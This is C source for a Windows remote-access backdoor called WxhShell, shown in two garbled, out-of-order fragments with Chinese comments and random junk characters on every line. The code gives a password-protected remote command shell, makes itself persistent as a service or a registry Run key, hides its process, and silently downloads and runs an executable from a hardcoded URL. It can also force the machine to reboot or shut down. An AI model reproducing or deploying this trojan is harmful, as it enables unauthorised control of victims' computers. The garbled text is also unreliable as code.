    if(Boot(SHUTDOWN)) w7Yu} JY^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1Vj;-  
    else { A0<g8pv  
    closesocket(wsh); $@L;j  
    ExitThread(0); k|/VNV( =0  
    } /oT~CB..  
    break; ZAr6RRv ^  
    } ,)1C"'  
  // 获取shell w a_{\v=  
  case 's': { 4Y8=  
    CmdShell(wsh); : :>|[ND  
    closesocket(wsh); X5iD <Lh  
    ExitThread(0); ~JT`q: l-q  
    break; ] 0X|_bU  
  } wH ,PA:  
  // 退出 Pvc)-A  
  case 'x': { gD9CA*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -TF},V~  
    CloseIt(wsh); K1 "HJsj  
    break; yMNJHiE/  
    } TRi'l#m4  
  // 离开 ,Vi_~b  
  case 'q': { 6TW<,SM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] `$6=) _X  
    closesocket(wsh); IU8zidn&  
    WSACleanup(); cb^IJA9}  
    exit(1); $VmV>NZ  
    break; e3ZRL91c  
        } F_qApyU,7  
  } rr tMd  
  } k*C69  
l$gJ^Wf2gY  
  // 提示信息 %unn{92)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lwQ!sH[M  
} zDdo RK@  
  } t{] 6GlW  
E{T3Xwg  
  return; |KhpF1/(  
} {'{}@CuA2  
mW"e  
// shell模块句柄 }!iopu  
int CmdShell(SOCKET sock) MLV]+H[mt  
{ U2A-ub>7  
STARTUPINFO si; ec!e  
ZeroMemory(&si,sizeof(si)); PB^rniYh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w5i*pOG)Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X"TL'"?fo  
PROCESS_INFORMATION ProcessInfo; z\|<h=EU  
char cmdline[]="cmd"; =78y* `L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .4a|^ vT  
  return 0; jA,y.(mR  
} Z?eTjkNS#  
NOTG|\{  
// 自身启动模式 -U2Su|:\N8  
int StartFromService(void) (]q ([e  
{ <#:iltO  
typedef struct :$G^TD/n  
{ :rr<#F  
  DWORD ExitStatus; zu}uW,XH-  
  DWORD PebBaseAddress; Vx!ZF+  
  DWORD AffinityMask; I%4eX0QY=z  
  DWORD BasePriority; dcrvEc_/  
  ULONG UniqueProcessId; =#2%[kGq  
  ULONG InheritedFromUniqueProcessId; NN7KwVg  
}   PROCESS_BASIC_INFORMATION; - k0a((?  
D\G 8p;  
PROCNTQSIP NtQueryInformationProcess; =_OJ 7K'  
z"< S$sDh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;rf{T[i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :7(fBf5  
Sqp91[,  
  HANDLE             hProcess; L[zTT\a  
  PROCESS_BASIC_INFORMATION pbi; S_sHwObFu|  
iK4\N;H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $D`Kz*/.  
  if(NULL == hInst ) return 0; 3mo<O}}  
gkK(7=r%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :tV"uWZFU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bzG vnaTt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KYTXf+oh  
Zdrniae ah  
  if (!NtQueryInformationProcess) return 0; e[fld,s  
i`i`Hu>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); htYfIy{5w  
  if(!hProcess) return 0; =4)8a"7#.  
w%wVB/(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ (Y@  
%Ok#~>c  
  CloseHandle(hProcess); 7 :\J2$P  
pp|$y\ZzB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6U).vg<  
if(hProcess==NULL) return 0; MZ)lNU l  
R UCUEo63  
HMODULE hMod; =?CIC%6m  
char procName[255]; .P8m%$'N  
unsigned long cbNeeded; k'X"jon  
xRZ K&vkKE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h/5V~ :)  
7IUJHc?  
  CloseHandle(hProcess); [?6+ r  
G9S3r3  
if(strstr(procName,"services")) return 1; // 以服务启动 *[>{ 9V  
~&,S xQT  
  return 0; // 注册表启动 m!INbIh  
} h9d*N9!;M  
Urw =a$  
// 主模块 #+i5'p(4  
int StartWxhshell(LPSTR lpCmdLine) MNh:NFCRA  
{ {%2p(5FB  
  SOCKET wsl; 5bZ0}^FYF  
BOOL val=TRUE; JiqhCt\  
  int port=0; rxx VLW  
  struct sockaddr_in door; Eb,M+c?  
r{~b4~kAf5  
  if(wscfg.ws_autoins) Install(); uGC%3!f!  
eLH=PDdO  
port=atoi(lpCmdLine); A _7I0^  
`MT.<5H  
if(port<=0) port=wscfg.ws_port; nF-l4=  
B8wGWZ@  
  WSADATA data; 5-4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v%#@.D!)  
)"Ujx`]4r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f !7fz~&Sh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,jnaa(n  
  door.sin_family = AF_INET; V%*91t_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2(Xu?W 7d  
  door.sin_port = htons(port); !FK)iQy$0  
,A#gF_8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KsTE)@ F:  
closesocket(wsl); $LBgBH &z  
return 1; t%y i3  
} 7#HSe#0J  
uv$utu>< *  
  if(listen(wsl,2) == INVALID_SOCKET) { %f\j)qw  
closesocket(wsl); $5#DU__F/  
return 1; OZKZv,  
} C,O9?t  
  Wxhshell(wsl); 1Uah IePf  
  WSACleanup(); 6XAofN/5f  
!;t6\Z8&  
return 0; X&Ospl@H  
<UIE-#  
} >y!R}`&0^t  
>TGc0 z+  
// 以NT服务方式启动 )eX{a/Be  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xxgdp. (  
{ N5MWMN[6aP  
DWORD   status = 0; {iQ4jJ`n  
  DWORD   specificError = 0xfffffff; #T>pu/EQX_  
+Lr`-</VF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WK#c* rsij  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |@B|o-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >2'A~?%  
  serviceStatus.dwWin32ExitCode     = 0; #|V)>")  
  serviceStatus.dwServiceSpecificExitCode = 0; on7? V<  
  serviceStatus.dwCheckPoint       = 0; Y6jgAq  
  serviceStatus.dwWaitHint       = 0; -LFk7a  
)|]*"yf:E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ASSe;+yp  
  if (hServiceStatusHandle==0) return; kK&AK2  
ND3|wQ`M0  
status = GetLastError(); bdBLfWe  
  if (status!=NO_ERROR) Nah\4-75&  
{ +wGvY r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7$Cv=8  
    serviceStatus.dwCheckPoint       = 0; fndH]Yp  
    serviceStatus.dwWaitHint       = 0; nbv}Q-C  
    serviceStatus.dwWin32ExitCode     = status; (V}?y:)  
    serviceStatus.dwServiceSpecificExitCode = specificError; *y~~~ 'J/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2p*!up(  
    return; `Gg,oCQg  
  } eV9,G8  
yx<-M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E]pD p /D  
  serviceStatus.dwCheckPoint       = 0; !W b Q9o  
  serviceStatus.dwWaitHint       = 0; i66/2BUh.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3my_Gp  
} (Kw%fJT  
Gl4f:`  
// 处理NT服务事件,比如:启动、停止 F~GIfJU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S<I9`k G  
{ TOx@Y$_9Q8  
switch(fdwControl) `nd$6i^#W  
{ Om8Sgy?  
case SERVICE_CONTROL_STOP: pWeD,!f  
  serviceStatus.dwWin32ExitCode = 0; yi<H }&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G,b*Qn5#  
  serviceStatus.dwCheckPoint   = 0; 9$ixjkIg  
  serviceStatus.dwWaitHint     = 0; .p78 \T  
  {  {T5u"U4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &8JK^zQq  
  } p-6T,')  
  return; rL/H{.@$`  
case SERVICE_CONTROL_PAUSE: =pb ru=/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LKM;T-  
  break; eB<R"Yvi  
case SERVICE_CONTROL_CONTINUE: rDLgQ{Sea  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u"U7aYGkY  
  break; mfk^t`w_  
case SERVICE_CONTROL_INTERROGATE: 1(WBvAPS  
  break; /!pJ"@  
}; xH>j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 15kkf~Z<t  
} p|w0 i[hc  
:d|~k  
// 标准应用程序主函数 ]4,eCT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YN7JJJ/~T  
{ 4mm>6w8NT  
rouaT  
// 获取操作系统版本 vSwRj<|CF  
OsIsNt=GetOsVer(); rs0Wy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ` c"  
x-~=@oiv  
  // 从命令行安装 Oh,]"(+  
  if(strpbrk(lpCmdLine,"iI")) Install(); kK.[v'[>&  
yXCHBz6&  
  // 下载执行文件 ^MvBW6#1  
if(wscfg.ws_downexe) { 5a5)hmO RB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `ix&j8E22w  
  WinExec(wscfg.ws_filenam,SW_HIDE); JD]uDuE  
} a" L9jrVrw  
sY&Z/Y  
if(!OsIsNt) { G BM8:IG \  
// 如果时win9x,隐藏进程并且设置为注册表启动 IJDE{)  
HideProc(); >LW}N!IBy  
StartWxhshell(lpCmdLine); ~P'i /*:  
} qTe@?j  
else M[QQi2:&  
  if(StartFromService()) {=ATRwUL  
  // 以服务方式启动 |u+!CR  
  StartServiceCtrlDispatcher(DispatchTable); # GzowI'  
else OU<v9`<  
  // 普通方式启动 H`rd bE  
  StartWxhshell(lpCmdLine); (btm g<WT"  
H4<Q}([w  
return 0; V+t's*9o3  
} l\ Vr D2j8  
$t0JfDd6Ky  
_7'5IA  
 upGLZ#  
=========================================== Qw<&N$  
LHSbc!Y'.  
JB'XH~4H  
@I#uv|=N  
P+DIo7VTX  
dj{~!}  
" 0!M'z  
>+):eB L  
#include <stdio.h> T@a|*.V  
#include <string.h> e/}4Pt  
#include <windows.h> 5t-, 5  
#include <winsock2.h> \jx3Fs:Q  
#include <winsvc.h> mp z3o\n  
#include <urlmon.h> e(Rbq8D  
J|`.d46  
#pragma comment (lib, "Ws2_32.lib") R[OXYHu  
#pragma comment (lib, "urlmon.lib") z, n[}Q#u  
6w[EJ;=p_  
#define MAX_USER   100 // 最大客户端连接数 W:K '2j  
#define BUF_SOCK   200 // sock buffer oXU b_/  
#define KEY_BUFF   255 // 输入 buffer _tE55X&  
&0xM 2J  
#define REBOOT     0   // 重启 dg_w$#  
#define SHUTDOWN   1   // 关机 W||&Xb  
{(I":rt#  
#define DEF_PORT   5000 // 监听端口 O&,8X-Ix  
hw(\3h()  
#define REG_LEN     16   // 注册表键长度 73Hm:"Eqd  
#define SVC_LEN     80   // NT服务名长度 Hz)i.AA 4  
n~.$iN  
// 从dll定义API c3r`T{Kf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bF5"ab0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @_1cY#!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5lM2nhlf'b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I&31jn_o /  
# 1dg%  
// wxhshell配置信息 AQmHa2P  
struct WSCFG { _ ,/~P)  
  int ws_port;         // 监听端口 );kD0FO1|  
  char ws_passstr[REG_LEN]; // 口令 qG ? :Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no n>w<vM  
  char ws_regname[REG_LEN]; // 注册表键名 NpaS2q-d  
  char ws_svcname[REG_LEN]; // 服务名 IdK<:)Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n2EPx(~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <'N:K@Cs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 </u=<^ire  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *QV"o{V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e~d=e3mBp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h9/fD5  
"%p7ft  
}; T^(> 8/O  
L#zD4L  
// default Wxhshell configuration 9bspf {  
struct WSCFG wscfg={DEF_PORT, 2TNK  
    "xuhuanlingzhe", kDI?v6y5  
    1, !?=U{^|7y  
    "Wxhshell", _^NyLI%  
    "Wxhshell", t"Ah]sD  
            "WxhShell Service", T6QRr}8`/J  
    "Wrsky Windows CmdShell Service",  uxB`  
    "Please Input Your Password: ", MX8|;t  
  1, @`dlhz  
  "http://www.wrsky.com/wxhshell.exe", ;j7G$s9  
  "Wxhshell.exe" .6xMLo,R  
    }; bzxf*b1I  
/;Hr{f jl{  
// 消息定义模块 _TGs .t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *3r s+0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ft$RF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |`t 6lVO,Z  
char *msg_ws_ext="\n\rExit."; gdA2u;q  
char *msg_ws_end="\n\rQuit."; =/`]lY&  
char *msg_ws_boot="\n\rReboot..."; oeB'{bG  
char *msg_ws_poff="\n\rShutdown..."; Fxc_s/^=t  
char *msg_ws_down="\n\rSave to "; O^j*"#f  
&K{8- t  
char *msg_ws_err="\n\rErr!"; ');vc~C  
char *msg_ws_ok="\n\rOK!"; rQyjNh  
N9-7YQ`D  
char ExeFile[MAX_PATH]; m|F1_Ggz  
int nUser = 0; ^6z"@+;*  
HANDLE handles[MAX_USER]; =$fz</S=J  
int OsIsNt; KmTFJ,iM  
kS8?N`2}LV  
SERVICE_STATUS       serviceStatus; b^Re947{g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gXJBb+P   
QA*<$v  
// 函数声明 e6Y>Bk   
int Install(void); t>/x-{bH\  
int Uninstall(void); )*>wa%[-q  
int DownloadFile(char *sURL, SOCKET wsh); cw{TS  
int Boot(int flag); y<E]; ub  
void HideProc(void); sQac%.H;`U  
int GetOsVer(void);  dC{dw^  
int Wxhshell(SOCKET wsl); _io'8X2K%  
void TalkWithClient(void *cs); Uq$/Q7  
int CmdShell(SOCKET sock); .<F46?HS  
int StartFromService(void); U/^#nU.,  
int StartWxhshell(LPSTR lpCmdLine); 6]Is"3ca  
^n(FO,8c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D2kmBZ3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uVCH<6Cp  
Z|%h-~  
// 数据结构和表定义 _X~O 6e-!  
SERVICE_TABLE_ENTRY DispatchTable[] = (8)9S6  
{ BEvY&3%l  
{wscfg.ws_svcname, NTServiceMain}, bo/9k 4N3  
{NULL, NULL} X<$Tn60,  
}; @,TIw[p  
jD6HCIjd'  
// 自我安装 ]i$y;]f  
int Install(void) :sJ7Wok6~  
{ YE~IO5   
  char svExeFile[MAX_PATH]; ds9 'k.  
  HKEY key; N=KtW?C  
  strcpy(svExeFile,ExeFile); XPO-u]<W  
6]Hwr_/tk  
// 如果是win9x系统,修改注册表设为自启动 45 sEhs[$  
if(!OsIsNt) { CqlxE/|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y?NL|cW4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9hfg/3t('  
  RegCloseKey(key); suwR`2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {pIh/0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $t.oGd@N  
  RegCloseKey(key); LhbdvJAk@  
  return 0; Hf?@<4  
    } %m\:AK[}  
  } mn?F;= qE  
} 3ai[ r  
else { `\62 iUN  
qBX_v5pvVA  
// 如果是NT以上系统,安装为系统服务 '-YiV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B_Q{B|eEt&  
if (schSCManager!=0) )|xu5.F  
{ Q_0+N3  
  SC_HANDLE schService = CreateService FL^ _)`  
  ( -&>V.hi7  
  schSCManager, Fm0d0j  
  wscfg.ws_svcname, $G9LaD#;M  
  wscfg.ws_svcdisp, AAlc %d/9  
  SERVICE_ALL_ACCESS, x2"1,1%H7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rM,e$  
  SERVICE_AUTO_START, ,s#~00C|  
  SERVICE_ERROR_NORMAL, vS>'LX  
  svExeFile, 'NhQBk  
  NULL, UpGDLbf^  
  NULL, 6+IhI?lI=  
  NULL, _w4G|j$C  
  NULL, OR+qi*)  
  NULL TjTG+uQ  
  ); sip4,>,E  
  if (schService!=0) G|rE\h 2w  
  { :@[\(:  
  CloseServiceHandle(schService); E{u6<B*  
  CloseServiceHandle(schSCManager); z}!g2d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pD%(Y^h?  
  strcat(svExeFile,wscfg.ws_svcname); O D}RnKL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~~OFymQ%?q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); **hQb$  
  RegCloseKey(key); uGMzU&+  
  return 0; .P)lQk\  
    } ~DInd-<5  
  } o:AfEoH"~  
  CloseServiceHandle(schSCManager); %;k Hnl  
} `s CwgY+  
} UPuoIfuqI  
"#r)NYq`"|  
return 1; u;_h%z5K  
} S\).0goOW  
1y'Y+1.<  
// 自我卸载 e Wux  
int Uninstall(void) ^~YT<cJ1h  
{ wsWFD xR  
  HKEY key; {=ox1+d  
W7qh1}_%  
if(!OsIsNt) { oZvG Kf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4`5yrC d  
  RegDeleteValue(key,wscfg.ws_regname); )RJEOl1  
  RegCloseKey(key); q*&R&K;q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~(^P(  
  RegDeleteValue(key,wscfg.ws_regname); 2IJK0w@  
  RegCloseKey(key); H{*D c_  
  return 0; :25LQf^nz  
  } 7Bp7d/R-  
} H#SQ>vyAV  
} @(,1}3s  
else { !{lH*  
XDemdMy$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z10Vx2B  
if (schSCManager!=0) k7CKl;Fck  
{ ' P?h?w^T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); faQmkO  
  if (schService!=0) !RI _Uph  
  { |3'  
  if(DeleteService(schService)!=0) { 7Z< ~{eD,  
  CloseServiceHandle(schService); FDz`U:8  
  CloseServiceHandle(schSCManager); HT;^u"a~  
  return 0; ]3_b3@k  
  } ,;`f* #  
  CloseServiceHandle(schService); Tlw'05\{J  
  } 7Z6=e6/\  
  CloseServiceHandle(schSCManager); ,|]J aZq  
} ~#pATPW@(  
} FJ;I1~??  
YaC%69C'  
return 1; FH~:&;  
} !T`oHs  
dJ"M#X!Zu  
// 从指定url下载文件 |THpkfW  
int DownloadFile(char *sURL, SOCKET wsh) 4V JUu`[  
{ 3Z b]@n  
  HRESULT hr; 4Z)s8sDKW  
char seps[]= "/"; ~ bLx2=-"  
char *token; \R#SoOd  
char *file; )'djqpM.  
char myURL[MAX_PATH]; %k!CjW3  
char myFILE[MAX_PATH]; a`!Jq'  
"n%s>@$  
strcpy(myURL,sURL); Oidf\%!mvR  
  token=strtok(myURL,seps); Qm%PpQ^Lz3  
  while(token!=NULL) |bY@HpMp  
  { 1$>+rW{a  
    file=token; |[*Bn3E:  
  token=strtok(NULL,seps); f>N DtG.6  
  } %2\Hj0JQQ  
<3;p>4gN  
GetCurrentDirectory(MAX_PATH,myFILE); n Nt28n@  
strcat(myFILE, "\\"); ~non_pJ  
strcat(myFILE, file); ^D+J k8  
  send(wsh,myFILE,strlen(myFILE),0); dHnCSOM<  
send(wsh,"...",3,0); I!sT=w8V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &$MC!iMh  
  if(hr==S_OK) n>Ff tVZNJ  
return 0; s<O$ Y  
else ~aob@(  
return 1; 8SGaS&  
9wvlR6z;u  
} QQ(}71U  
4zoQe>v~  
// 系统电源模块 EW `hL~{  
int Boot(int flag) 6Tl6A>%s  
{ GKBoSSnV&  
  HANDLE hToken; A8)4nOXM  
  TOKEN_PRIVILEGES tkp; XiW1X6  
<tr]bCu}  
  if(OsIsNt) {  ;l$$!PJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GK@OdurAR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8u[_t.y4m  
    tkp.PrivilegeCount = 1; WK{`_c U^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 51|ky-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~>u .d  
if(flag==REBOOT) { cQU/z"?+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EeuYRyK  
  return 0; EQ1**[$  
} ]  ,|,/~  
else { QaWS%0go  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1JJsYX  
  return 0; owAO&"C  
} }p)K6!J0  
  } @oXGa>Ru  
  else { Y}?8  
if(flag==REBOOT) { ula-o)S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ')m!48  
  return 0; jP+yN|  
} 28MMH Q  
else { &2 tfj(ms  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TKDG+`TyZ  
  return 0; 7N$2N!I(  
} \-\>JPO~<  
} Ew8@{X y  
.~]|gg~  
return 1; ]eL# bJ  
} RTOA'|[0M  
fLDrit4_Q  
// win9x进程隐藏模块 !_Lmrs  
void HideProc(void) Sc<dxY@w7-  
{ }icCp)b>v  
'/d51  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pj>R9zpn_  
  if ( hKernel != NULL ) qmrT d G  
  { _#8hgwf>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :/5m D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }`tSRB7  
    FreeLibrary(hKernel); ;+Jx,{ )  
  } 0Hnj<|HL  
8D*7{Q  
return; 1 .3#PdMR,  
} q W(@p`  
M:+CW;||!  
// 获取操作系统版本 ,-UF5U  
int GetOsVer(void) KOcB#UHJ  
{ Bkcwl  
  OSVERSIONINFO winfo; z*.AuEK?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aKI"<%PNn  
  GetVersionEx(&winfo); y=3 dGOFB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P>/:dt'GJ}  
  return 1; o@meogkL  
  else } d[(kC_  
  return 0; ^FVdA1~/  
} i)i>Ulj*i  
y{<e4{ !  
// 客户端句柄模块 !<[+u  
int Wxhshell(SOCKET wsl) Xoj"rR9|  
{ !>`Q]M`  
  SOCKET wsh; mF7 Ak&So^  
  struct sockaddr_in client; G~9m,l+  
  DWORD myID; ]2AOW}=  
@Z5q2Q  
  while(nUser<MAX_USER) k/K)nH@)  
{ RXgb/VR  
  int nSize=sizeof(client); AWO)]rM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [txOh!sxD  
  if(wsh==INVALID_SOCKET) return 1; #CS>_qe.{  
77RZ<u9/`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wh:;G`6S  
if(handles[nUser]==0) .LzA'q1+z  
  closesocket(wsh); te@m#` p9  
else T;w:^XW  
  nUser++; [,=?e  
  } }M07-qIX{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d4Uw+3ikW  
OSu&vFKz  
  return 0; >M<3!?fW)  
} @6 he!wW  
DB vM.'b$  
// 关闭 socket Q):#6|u+  
void CloseIt(SOCKET wsh) |x}TpM;ni  
{ 1XGg0SC  
closesocket(wsh); sW>%mnx  
nUser--; !0{SVsc)  
ExitThread(0); %4~"$kE  
} Jqoo&T")  
Yh<F-WOo2  
// 客户端请求句柄 )nm+_U  
void TalkWithClient(void *cs) 4n,&,R r#  
{ K?.~}82c  
&PMQ]B  
  SOCKET wsh=(SOCKET)cs; [gW eD  
  char pwd[SVC_LEN]; :jiEn y  
  char cmd[KEY_BUFF]; Fis!MMh.$  
char chr[1]; n Kkpp-  
int i,j; k!c7eP"%8^  
~&?([}A  
  while (nUser < MAX_USER) { \@Wv{0a(  
+t!]nE #  
if(wscfg.ws_passstr) { [ &TF]az  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EC?5GNGT,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /T _M't@j  
  //ZeroMemory(pwd,KEY_BUFF); %i9S"  
      i=0; !6/UwPs  
  while(i<SVC_LEN) { {vu\qXmMv  
e!u]l  
  // 设置超时 tP'v;$)9F  
  fd_set FdRead; yR$_ZXsd  
  struct timeval TimeOut; G(E1c"?  
  FD_ZERO(&FdRead); `YOYC  
  FD_SET(wsh,&FdRead);  5%-{r&  
  TimeOut.tv_sec=8; }7.A~h  
  TimeOut.tv_usec=0; [$dVs16K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <\229  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )%C.IZ_s2  
J*@pM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J""Cgf  
  pwd=chr[0]; lm`*x=x  
  if(chr[0]==0xd || chr[0]==0xa) { 54 $^ldD  
  pwd=0; "P! .5B  
  break; ,%pCcM)  
  } [@i:qB>B  
  i++; >.<VD7p  
    } 6[m~xegG  
H/a gt  
  // 如果是非法用户,关闭 socket eMGJx"a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z}vT8qoX  
} 6wlLE5  
&h:4TaD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bii'^^I;?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !vz'zy)7  
hFV,FBsAO  
while(1) { rS@/@jKZE  
[6VB&   
  ZeroMemory(cmd,KEY_BUFF); Z`TfS+O6  
1/$PxQ  
      // 自动支持客户端 telnet标准   -2hirA<^  
  j=0; c>bns/f  
  while(j<KEY_BUFF) { xe@e#9N$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @eYpARF  
  cmd[j]=chr[0]; lZk  z\  
  if(chr[0]==0xa || chr[0]==0xd) { CE"/&I  
  cmd[j]=0; .s{ "NqRA  
  break; x`6MAZ  
  } s&7 3g0$$  
  j++; (~~m8VJ>  
    } w:\} B'u  
!5,C"r  
  // 下载文件 ~RR!~q  
  if(strstr(cmd,"http://")) { ':.Hz]]/A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :1+Aj (  
  if(DownloadFile(cmd,wsh)) @.;+WQE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^4sfVpD2!  
  else p]aEC+q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qT#e -.G  
  } l>6tEOXt  
  else { N R c4*zQJ  
< $zJi V  
    switch(cmd[0]) { 'lIs`Zc5N  
  ysnW3q!@  
  // 帮助 5>}$]d/o  
  case '?': { rbvk.:"^w  
